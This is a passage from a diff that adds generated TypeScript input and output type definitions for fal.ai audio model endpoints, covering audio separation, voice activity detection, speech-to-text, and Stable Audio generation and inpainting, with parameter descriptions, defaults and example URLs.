{"sample_rate":24000,"file_name":"rHFLVApz9Rdenm20UvnGf_FtjmMLBV.mp3","url":"https://storage.googleapis.com/falserverless/example_outputs/qwen3-tts/design_out.mp3","channels":1,"content_type":"audio/mpeg","duration":7.736875} + * @type object + */ + audio: AudioFileF674C789 +} + +export const inputFalAiSamAudioSeparateOutputFormatEnum = { + wav: 'wav', + mp3: 'mp3', +} as const + +export type InputFalAiSamAudioSeparateOutputFormatEnumKey = + (typeof inputFalAiSamAudioSeparateOutputFormatEnum)[keyof typeof inputFalAiSamAudioSeparateOutputFormatEnum] + +export const inputFalAiSamAudioSeparateAccelerationEnum = { + fast: 'fast', + balanced: 'balanced', + quality: 'quality', +} as const + +export type InputFalAiSamAudioSeparateAccelerationEnumKey = + (typeof inputFalAiSamAudioSeparateAccelerationEnum)[keyof typeof inputFalAiSamAudioSeparateAccelerationEnum] + +/** + * @description Input for text-based audio separation. + * @type object + */ +export type InputFalAiSamAudioSeparate = { + /** + * @description Output audio format. + * @default 'wav' + * @type string | undefined + */ + output_format?: InputFalAiSamAudioSeparateOutputFormatEnumKey + /** + * @description Overlap duration (in seconds) between chunks for crossfade blending. + * @minimum 0 + * @maximum 30 + * @default 5 + * @type number | undefined + */ + chunk_overlap?: number + /** + * @description Automatically predict temporal spans where the target sound occurs. + * @default false + * @type boolean | undefined + */ + predict_spans?: boolean + /** + * @description Text prompt describing the sound to isolate. + * @example piano playing + * @type string + */ + prompt: string + /** + * @description The acceleration level to use. + * @default 'balanced' + * @type string | undefined + */ + acceleration?: InputFalAiSamAudioSeparateAccelerationEnumKey + /** + * @description URL of the audio file to process (WAV, MP3, FLAC supported) + * @example https://v3b.fal.media/files/b/0a88511f/tUUCI9eDmeC2RqJEOXrZk_assets_avatar_multi_sing_woman.WAV + * @type string + */ + audio_url: string + /** + * @description Number of candidates to generate and rank. Higher improves quality but increases latency and cost. + * @minimum 1 + * @maximum 7 + * @default 1 + * @type integer | undefined + */ + reranking_candidates?: number + /** + * @description Maximum audio duration (in seconds) to process in a single pass. Longer audio will be chunked with overlap and blended. + * @minimum 10 + * @maximum 60 + * @default 60 + * @type number | undefined + */ + max_chunk_duration?: number +} + +export type FileAa274A44 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description Output for text-based audio separation. + * @type object + */ +export type OutputFalAiSamAudioSeparate = { + /** + * @description Duration of the output audio in seconds. + * @example 26.6 + * @type number + */ + duration: number + /** + * @description The isolated target sound. + * @example {"content_type":"audio/wav","url":"https://v3b.fal.media/files/b/0a8853af/bxm0-bZp5tH46Qp5PMwl6_tmpus5ep6vl.wav"} + * @type object + */ + target: FileAa274A44 + /** + * @description Sample rate of the output audio in Hz. + * @default 48000 + * @type integer | undefined + */ + sample_rate?: number + /** + * @description Everything else in the audio. + * @example {"content_type":"audio/wav","url":"https://v3b.fal.media/files/b/0a88512b/xqDIegkZuLPPlufZ9RLP8_tmpos7b9db_.wav"} + * @type object + */ + residual: FileAa274A44 +} + +/** + * @description A time span indicating where the target sound occurs. + * @type object + */ +export type AudioTimeSpan = { + /** + * @description Whether to include (True) or exclude (False) sounds in this span + * @default true + * @type boolean | undefined + */ + include?: boolean + /** + * @description Start time of the span in seconds + * @minimum 0 + * @example 0.5 + * @example 2 + * @type number + */ + start: number + /** + * @description End time of the span in seconds + * @minimum 0 + * @example 1.5 + * @example 4 + * @type number + */ + end: number +} + +export const inputFalAiSamAudioSpanSeparateOutputFormatEnum = { + wav: 'wav', + mp3: 'mp3', +} as const + +export type InputFalAiSamAudioSpanSeparateOutputFormatEnumKey = + (typeof inputFalAiSamAudioSpanSeparateOutputFormatEnum)[keyof typeof inputFalAiSamAudioSpanSeparateOutputFormatEnum] + +export const inputFalAiSamAudioSpanSeparateAccelerationEnum = { + fast: 'fast', + balanced: 'balanced', + quality: 'quality', +} as const + +export type InputFalAiSamAudioSpanSeparateAccelerationEnumKey = + (typeof inputFalAiSamAudioSpanSeparateAccelerationEnum)[keyof typeof inputFalAiSamAudioSpanSeparateAccelerationEnum] + +/** + * @description Input for temporal span-based audio separation. + * @type object + */ +export type InputFalAiSamAudioSpanSeparate = { + /** + * @description Output audio format. + * @default 'wav' + * @type string | undefined + */ + output_format?: InputFalAiSamAudioSpanSeparateOutputFormatEnumKey + /** + * @description Overlap duration (in seconds) between chunks for crossfade blending. + * @minimum 0 + * @maximum 30 + * @default 5 + * @type number | undefined + */ + chunk_overlap?: number + /** + * @description Text prompt describing the sound to isolate. Optional but recommended - helps the model identify what type of sound to extract from the span. + * @example man singing + * @example dog barking + */ + prompt?: string | null + /** + * @description The acceleration level to use. + * @default 'balanced' + * @type string | undefined + */ + acceleration?: InputFalAiSamAudioSpanSeparateAccelerationEnumKey + /** + * @description URL of the audio file to process. + * @example https://v3b.fal.media/files/b/0a8853d1/T7zRmsiculA6u_V6RCF2c_man.mp3 + * @type string + */ + audio_url: string + /** + * @description Number of candidates to generate and rank. Higher improves quality but increases latency and cost. Requires text prompt; ignored for span-only separation. + * @minimum 1 + * @maximum 7 + * @default 1 + * @type integer | undefined + */ + reranking_candidates?: number + /** + * @description Time spans where the target sound occurs which should be isolated. + * @example [{"include":true,"start":6,"end":10}] + * @type array + */ + spans: AudioTimeSpan[] + /** + * @description Maximum audio duration (in seconds) to process in a single pass. Longer audio will be chunked with overlap and blended. + * @minimum 10 + * @maximum 60 + * @default 60 + * @type number | undefined + */ + max_chunk_duration?: number + /** + * @description Trim output audio to only include the specified span time range. If False, returns the full audio length with the target sound isolated throughout. + * @default false + * @type boolean | undefined + */ + trim_to_span?: boolean + /** + * @description Use sound activity detection to rank reranking candidates based on how well each candidate's non-silent regions match the provided spans. Enables effective reranking even without a text prompt (span-only separation). Requires reranking_candidates > 1. + * @default false + * @type boolean | undefined + */ + use_sound_activity_ranking?: boolean +} + +export type File222D8523 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description Output for span-based audio separation. + * @type object + */ +export type OutputFalAiSamAudioSpanSeparate = { + /** + * @description Duration of the output audio in seconds. + * @example 81.96 + * @type number + */ + duration: number + /** + * @description The isolated target sound. + * @example {"content_type":"audio/wav","url":"https://v3b.fal.media/files/b/0a89374c/mImRbqrjB72o9vEmIrSmW_tmpp2rmotgs.wav"} + * @type object + */ + target: File222D8523 + /** + * @description Sample rate of the output audio in Hz. + * @default 48000 + * @type integer | undefined + */ + sample_rate?: number + /** + * @description Everything else in the audio. + * @example {"content_type":"audio/wav","url":"https://v3b.fal.media/files/b/0a89374d/suELShppRlPCTAVnbWRqj_tmpr8shao_e.wav"} + * @type object + */ + residual: File222D8523 +} + +export const inputFalAiSamAudioVisualSeparateOutputFormatEnum = { + wav: 'wav', + mp3: 'mp3', +} as const + +export type InputFalAiSamAudioVisualSeparateOutputFormatEnumKey = + (typeof inputFalAiSamAudioVisualSeparateOutputFormatEnum)[keyof typeof inputFalAiSamAudioVisualSeparateOutputFormatEnum] + +export const inputFalAiSamAudioVisualSeparateAccelerationEnum = { + fast: 'fast', + balanced: 'balanced', + quality: 'quality', +} as const + +export type InputFalAiSamAudioVisualSeparateAccelerationEnumKey = + (typeof inputFalAiSamAudioVisualSeparateAccelerationEnum)[keyof typeof inputFalAiSamAudioVisualSeparateAccelerationEnum] + +/** + * @description Input for visual-prompted audio separation. + * @type object + */ +export type InputFalAiSamAudioVisualSeparate = { + /** + * @description Output audio format. + * @default 'wav' + * @type string | undefined + */ + output_format?: InputFalAiSamAudioVisualSeparateOutputFormatEnumKey + /** + * @description Overlap duration (in seconds) between chunks for crossfade blending. + * @minimum 0 + * @maximum 30 + * @default 5 + * @type number | undefined + */ + chunk_overlap?: number + /** + * @description Text prompt to assist with separation. Use natural language to describe the target sound. + * @default '' + * @example man on the left + * @type string | undefined + */ + prompt?: string + /** + * @description The acceleration level to use. + * @default 'balanced' + * @type string | undefined + */ + acceleration?: InputFalAiSamAudioVisualSeparateAccelerationEnumKey + /** + * @description Number of candidates to generate and rank. Higher improves quality but increases latency and cost. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + reranking_candidates?: number + /** + * @description URL of the video file to process (MP4, MOV, etc.) + * @example https://v3b.fal.media/files/b/0a8850d1/gff7zKI-6XwIbBBip4946_office.mp4 + * @type string + */ + video_url: string + /** + * @description Maximum audio duration (in seconds) to process in a single pass. Longer audio will be chunked with overlap and blended. + * @minimum 10 + * @maximum 60 + * @default 60 + * @type number | undefined + */ + max_chunk_duration?: number + /** + * @description URL of the mask video (binary mask indicating target object). Black=target, White=background. + */ + mask_video_url?: string | null +} + +export type File7Da1B68F = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description Output for visual-prompted audio separation. + * @type object + */ +export type OutputFalAiSamAudioVisualSeparate = { + /** + * @description Duration of the output audio in seconds. + * @example 15 + * @type number + */ + duration: number + /** + * @description The isolated target sound. + * @example {"content_type":"audio/wav","url":"https://v3b.fal.media/files/b/0a88550c/CVyBZ1Cxka1vLxVwOfUcc_tmpzzftm934.wav"} + * @type object + */ + target: File7Da1B68F + /** + * @description Sample rate of the output audio in Hz. + * @default 48000 + * @type integer | undefined + */ + sample_rate?: number + /** + * @description Everything else in the audio. + * @example {"content_type":"audio/wav","url":"https://v3b.fal.media/files/b/0a88550c/pdOH_J84S-197LRjMQDrz_tmprx375uix.wav"} + * @type object + */ + residual: File7Da1B68F +} + +export type InputFalAiSileroVad = { + /** + * @description The URL of the audio to get speech timestamps from. + * @example https://v3b.fal.media/files/b/0a89994c/X3-06RFibRfBu-FS1AI8y_speech.mp3 + * @type string + */ + audio_url: string +} + +export type SpeechTimestamp = { + /** + * @description The start time of the speech in seconds. + * @type number + */ + start: number + /** + * @description The end time of the speech in seconds. + * @type number + */ + end: number +} + +export type OutputFalAiSileroVad = { + /** + * @description Whether the audio has speech. + * @example true + * @type boolean + */ + has_speech: boolean + /** + * @description The speech timestamps. + * @example [{"start":0.13,"end":1.982},{"start":2.434,"end":3.998}] + * @type array + */ + timestamps: SpeechTimestamp[] +} + +export type InputFalAiSpeechToText = { + /** + * @description Local filesystem path (or remote URL) to a long audio file + * @example https://storage.googleapis.com/falserverless/canary/18e15559-ab3e-4f96-9583-be5ddde91e43.mp3 + * @type string + */ + audio_url: string + /** + * @description Whether to use Canary's built-in punctuation & capitalization + * @default true + * @type boolean | undefined + */ + use_pnc?: boolean +} + +export type OutputFalAiSpeechToText = { + /** + * @description The partial or final transcription output from Canary + * @type string + */ + output: string + /** + * @description Indicates if this is a partial (in-progress) transcript + * @default false + * @type boolean | undefined + */ + partial?: boolean +} + +export type InputFalAiSpeechToTextStream = { + /** + * @description Local filesystem path (or remote URL) to a long audio file + * @example https://storage.googleapis.com/falserverless/canary/18e15559-ab3e-4f96-9583-be5ddde91e43.mp3 + * @type string + */ + audio_url: string + /** + * @description Whether to use Canary's built-in punctuation & capitalization + * @default true + * @type boolean | undefined + */ + use_pnc?: boolean +} + +export type OutputFalAiSpeechToTextStream = unknown + +export type InputFalAiSpeechToTextTurbo = { + /** + * @description Local filesystem path (or remote URL) to a long audio file + * @example https://storage.googleapis.com/falserverless/canary/18e15559-ab3e-4f96-9583-be5ddde91e43.mp3 + * @type string + */ + audio_url: string + /** + * @description Whether to use Canary's built-in punctuation & capitalization + * @default true + * @type boolean | undefined + */ + use_pnc?: boolean +} + +export type OutputFalAiSpeechToTextTurbo = { + /** + * @description The partial or final transcription output from Canary + * @type string + */ + output: string + /** + * @description Indicates if this is a partial (in-progress) transcript + * @default false + * @type boolean | undefined + */ + partial?: boolean +} + +export type InputFalAiSpeechToTextTurboStream = { + /** + * @description Local filesystem path (or remote URL) to a long audio file + * @example https://storage.googleapis.com/falserverless/canary/18e15559-ab3e-4f96-9583-be5ddde91e43.mp3 + * @type string + */ + audio_url: string + /** + * @description Whether to use Canary's built-in punctuation & capitalization + * @default true + * @type boolean | undefined + */ + use_pnc?: boolean +} + +export type OutputFalAiSpeechToTextTurboStream = unknown + +export type InputFalAiStableAudio = { + /** + * @description The prompt to generate audio from + * @example 128 BPM tech house drum loop + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of steps to denoise the audio for + * @minimum 2 + * @maximum 1000 + * @default 100 + * @type integer | undefined + */ + steps?: number + /** + * @description The duration of the audio clip to generate + * @minimum 0 + * @maximum 47 + * @default 30 + * @type integer | undefined + */ + seconds_total?: number + /** + * @description The start point of the audio clip to generate + * @minimum 0 + * @maximum 47 + * @default 0 + * @type integer | undefined + */ + seconds_start?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +export type File8B7B5996 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiStableAudio = { + /** + * @description The generated audio clip + * @type object + */ + audio_file: File8B7B5996 +} + +export type InputFalAiStableAudio25AudioToAudio = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The prompt to guide the audio generation + * @example Post rock, guitars, bass, strings, euphoric, up-lifting, moody, flowing, raw, epic + * @type string + */ + prompt: string + /** + * @description The duration of the audio clip to generate. If not provided, it will be set to the duration of the input audio. + * @example 45 + */ + total_seconds?: number | null + /** + * @description How strictly the diffusion process adheres to the prompt text (higher values make your audio closer to your prompt). + * @minimum 1 + * @maximum 25 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + seed?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The audio clip to transform + * @example https://v3.fal.media/files/panda/1-0iezBUIePBa3Sz5YY5B_tmpy1jyshw9.wav + * @type string + */ + audio_url: string + /** + * @description The number of steps to denoise the audio for + * @minimum 4 + * @maximum 8 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Sometimes referred to as denoising, this parameter controls how much influence the `audio_url` parameter has on the generated audio. A value of 0 would yield audio that is identical to the input. A value of 1 would be as if you passed in no audio at all. + * @minimum 0.01 + * @maximum 1 + * @default 0.8 + * @type number | undefined + */ + strength?: number +} + +export type File6Ea79E94 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiStableAudio25AudioToAudio = { + /** + * @description The generated audio clip + * @example https://v3.fal.media/files/elephant/bJ-KIfIXsls5-pqSRXRwx_tmpdurmawkp.wav + * @type object + */ + audio: File6Ea79E94 + /** + * @description The random seed used for generation + * @type integer + */ + seed: number +} + +export type InputFalAiStableAudio25Inpaint = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The prompt to guide the audio generation + * @example Lofi hip hop beat, chillhop + * @type string + */ + prompt: string + /** + * @description The start point of the audio mask + * @minimum 0 + * @maximum 190 + * @default 30 + * @example 15 + * @type integer | undefined + */ + mask_start?: number + /** + * @description The duration of the audio clip to generate. If not provided, it will be set to the duration of the input audio. + * @default 190 + * @example 45 + */ + seconds_total?: number | null + seed?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description How strictly the diffusion process adheres to the prompt text (higher values make your audio closer to your prompt). + * @minimum 1 + * @maximum 25 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The audio clip to inpaint + * @example https://v3.fal.media/files/elephant/t0ZrzW_ueetXrr3NUa87F_a2a_in.mp3 + * @type string + */ + audio_url: string + /** + * @description The end point of the audio mask + * @minimum 0 + * @maximum 190 + * @default 190 + * @example 40 + * @type integer | undefined + */ + mask_end?: number + /** + * @description The number of steps to denoise the audio for + * @minimum 4 + * @maximum 8 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number +} + +export type FileCb7212B6 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiStableAudio25Inpaint = { + /** + * @description The generated audio clip + * @example https://v3.fal.media/files/elephant/5F2Oour2tH_EHZrFUEmM-_tmp75kuha71.wav + * @type object + */ + audio: FileCb7212B6 + /** + * @description The random seed used for generation + * @type integer + */ + seed: number +} + +export type InputFalAiStableAudio25TextToAudio = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The prompt to generate audio from + * @example A beautiful piano arpeggio grows into a grand orchestral climax + * @type string + */ + prompt: string + /** + * @description The duration of the audio clip to generate + * @minimum 1 + * @maximum 190 + * @default 190 + * @type integer | undefined + */ + seconds_total?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of steps to denoise the audio for + * @minimum 4 + * @maximum 8 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description How strictly the diffusion process adheres to the prompt text (higher values make your audio closer to your prompt). + * @minimum 1 + * @maximum 25 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + seed?: number | null +} + +export type File3402Adb3 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiStableAudio25TextToAudio = { + /** + * @description The generated audio clip + * @example https://v3.fal.media/files/zebra/lGob9bN7VHfFXG4R1btQn_tmpabwhgi6n.wav + * @type object + */ + audio: File3402Adb3 + /** + * @description The random seed used for generation + * @type integer + */ + seed: number +} + +export const inputFalAiStableAudio3MediumAudioInpaintingOutputFormatEnum = { + mp3: 'mp3', + wav: 'wav', + flac: 'flac', + ogg: 'ogg', + opus: 'opus', + m4a: 'm4a', + aac: 'aac', +} as const + +export type InputFalAiStableAudio3MediumAudioInpaintingOutputFormatEnumKey = + (typeof inputFalAiStableAudio3MediumAudioInpaintingOutputFormatEnum)[keyof typeof inputFalAiStableAudio3MediumAudioInpaintingOutputFormatEnum] + +export type InputFalAiStableAudio3MediumAudioInpainting = { + /** + * @description Audio bitrate for compressed output formats (e.g., mp3, aac, opus). Format e.g. '192k' or '320k'. Ignored for lossless formats (wav, flac). + * @default '192k' + * @type string | undefined + */ + bitrate?: string + /** + * @description Random seed for reproducible outputs. Omit for a random seed. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. Higher values follow the prompt more strictly. Only effective on base (non-distilled) checkpoints. + * @minimum 0 + * @maximum 25 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the prompt will be expanded using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text description guiding how the masked region is regenerated. + * @example punchy kick drum fill + * @type string + */ + prompt: string + /** + * @description End of the region to regenerate, in seconds. + * @minimum 0 + * @maximum 380 + * @example 8 + * @type number + */ + mask_end_seconds: number + /** + * @description Container format for the generated audio output. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiStableAudio3MediumAudioInpaintingOutputFormatEnumKey + /** + * @description Number of sampling steps. Post-trained (distilled) checkpoints look good with the default 8 and gain little from going higher. + * @minimum 1 + * @maximum 100 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Source audio. Only the masked region is regenerated. + * @example https://storage.googleapis.com/falserverless/model_tests/diffrythm/rock_en.wav + * @type string + */ + audio_url: string + /** + * @description Text description of qualities to avoid in the output. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If True, the audio is returned inline as a data URI and the result is not saved to the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Enable NSFW content safety checking. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Start of the region to regenerate, in seconds. + * @minimum 0 + * @maximum 380 + * @example 4 + * @type number + */ + mask_start_seconds: number +} + +export type FileF8106991 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiStableAudio3MediumAudioInpainting = { + /** + * @description The random seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated audio clip. + * @type object + */ + audio: FileF8106991 +} + +export const inputFalAiStableAudio3MediumAudioOutpaintingOutputFormatEnum = { + mp3: 'mp3', + wav: 'wav', + flac: 'flac', + ogg: 'ogg', + opus: 'opus', + m4a: 'm4a', + aac: 'aac', +} as const + +export type InputFalAiStableAudio3MediumAudioOutpaintingOutputFormatEnumKey = + (typeof inputFalAiStableAudio3MediumAudioOutpaintingOutputFormatEnum)[keyof typeof inputFalAiStableAudio3MediumAudioOutpaintingOutputFormatEnum] + +export type InputFalAiStableAudio3MediumAudioOutpainting = { + /** + * @description Audio bitrate for compressed output formats (e.g., mp3, aac, opus). Format e.g. '192k' or '320k'. Ignored for lossless formats (wav, flac). + * @default '192k' + * @type string | undefined + */ + bitrate?: string + /** + * @description Seconds of new audio to generate after the source audio. + * @minimum 0 + * @maximum 380 + * @default 0 + * @example 30 + * @type number | undefined + */ + extend_seconds_after?: number + /** + * @description Random seed for reproducible outputs. Omit for a random seed. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. Higher values follow the prompt more strictly. Only effective on base (non-distilled) checkpoints. + * @minimum 0 + * @maximum 25 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the prompt will be expanded using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text description guiding the extension content. + * @example soft strings continue the melody + * @type string + */ + prompt: string + /** + * @description Source audio to extend. + * @example https://storage.googleapis.com/falserverless/model_tests/diffrythm/rock_en.wav + * @type string + */ + audio_url: string + /** + * @description Container format for the generated audio output. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiStableAudio3MediumAudioOutpaintingOutputFormatEnumKey + /** + * @description Seconds of new audio to generate before the source audio. + * @minimum 0 + * @maximum 380 + * @default 0 + * @example 0 + * @type number | undefined + */ + extend_seconds_before?: number + /** + * @description Number of sampling steps. Post-trained (distilled) checkpoints look good with the default 8 and gain little from going higher. + * @minimum 1 + * @maximum 100 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Text description of qualities to avoid in the output. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If True, the audio is returned inline as a data URI and the result is not saved to the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Enable NSFW content safety checking. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File2C55915C = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiStableAudio3MediumAudioOutpainting = { + /** + * @description The random seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated audio clip. + * @type object + */ + audio: File2C55915C +} + +export const inputFalAiStableAudio3MediumAudioToAudioOutputFormatEnum = { + mp3: 'mp3', + wav: 'wav', + flac: 'flac', + ogg: 'ogg', + opus: 'opus', + m4a: 'm4a', + aac: 'aac', +} as const + +export type InputFalAiStableAudio3MediumAudioToAudioOutputFormatEnumKey = + (typeof inputFalAiStableAudio3MediumAudioToAudioOutputFormatEnum)[keyof typeof inputFalAiStableAudio3MediumAudioToAudioOutputFormatEnum] + +export type InputFalAiStableAudio3MediumAudioToAudio = { + /** + * @description Audio bitrate for compressed output formats (e.g., mp3, aac, opus). Format e.g. '192k' or '320k'. Ignored for lossless formats (wav, flac). + * @default '192k' + * @type string | undefined + */ + bitrate?: string + /** + * @description Random seed for reproducible outputs. Omit for a random seed. + */ + seed?: number | null + /** + * @description How much noise to add to the source audio. 1.0 fully replaces the audio with noise (pure generation); 0.1 keeps the source close to the input. 0.5 sits halfway between. + * @minimum 0 + * @maximum 1 + * @default 0.9 + * @type number | undefined + */ + init_noise_level?: number + /** + * @description If True, the prompt will be expanded using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text description guiding how the source audio should be transformed. + * @example bossa nova bassline + * @type string + */ + prompt: string + /** + * @description Classifier-free guidance scale. Higher values follow the prompt more strictly. Only effective on base (non-distilled) checkpoints. + * @minimum 0 + * @maximum 25 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Source audio to transform. + * @example https://storage.googleapis.com/falserverless/model_tests/diffrythm/rock_en.wav + * @type string + */ + audio_url: string + /** + * @description Number of sampling steps. Post-trained (distilled) checkpoints look good with the default 8 and gain little from going higher. + * @minimum 1 + * @maximum 100 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Container format for the generated audio output. + * @default 'mp3' + * @type string | undefined + */ + output_format?: InputFalAiStableAudio3MediumAudioToAudioOutputFormatEnumKey + /** + * @description Duration of the generated audio in seconds. The medium model supports up to 380 seconds (~6m20s). + * @minimum 1 + * @maximum 380 + * @default 30 + * @type number | undefined + */ + duration?: number + /** + * @description If True, the audio is returned inline as a data URI and the result is not saved to the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Enable NSFW content safety checking. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text description of qualities to avoid in the output. + * @default '' + * @type string | undefined + */ + negative_prompt?: string +} + +export type File7661E3B4 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiStableAudio3MediumAudioToAudio = { + /** + * @description The random seed used for generation. + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated audio clip. + * @type object + */ + audio: File7661E3B4 +} + +export const inputFalAiStableAudio3MediumBaseAudioInpaintingOutputFormatEnum = { + mp3: 'mp3', + wav: 'wav', + flac: 'flac', + ogg: 'ogg', + opus: 'opus', + m4a: 'm4a', + aac: 'aac', +} as const + +export type InputFalAiStableAudio3MediumBaseAudioInpaintingOutputFormatEnumKey = + (typeof inputFalAiStableAudio3MediumBaseAudioInpaintingOutputFormatEnum)[keyof typeof inputFalAiStableAudio3MediumBaseAudioInpaintingOutputFormatEnum] + +export type InputFalAiStableAudio3MediumBaseAudioInpainting = { + /** + * @description Audio bitrate for compressed output formats (e.g., mp3, aac, opus). Format e.g. '192k' or '320k'. Ignored for lossless formats (wav, flac). + * @default '192k' + * @type string | undefined + */ + bitrate?: string + /** + * @description Random seed for reproducible outputs. Omit for a random seed. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. Higher values follow the prompt more strictly; ~7.0 is a good starting point for base checkpoints. + * @minimum 0 + * @maximum 25 + * @default 7 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If True, the prompt will be expanded using an LLM for more detailed and higher quality results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Text description guiding how the masked region is regenerated. + * @example punchy kick drum fill + * @type string + */ + prompt: string + /** + * @description End of the region to regenerate, in seconds. + * @minimum 0 + * @maximum 380 + * @example 8 + * @type number + */ + mask_end_seconds: number + /** + * @description Container format for the generated audio output. + * @default 'mp3' + * 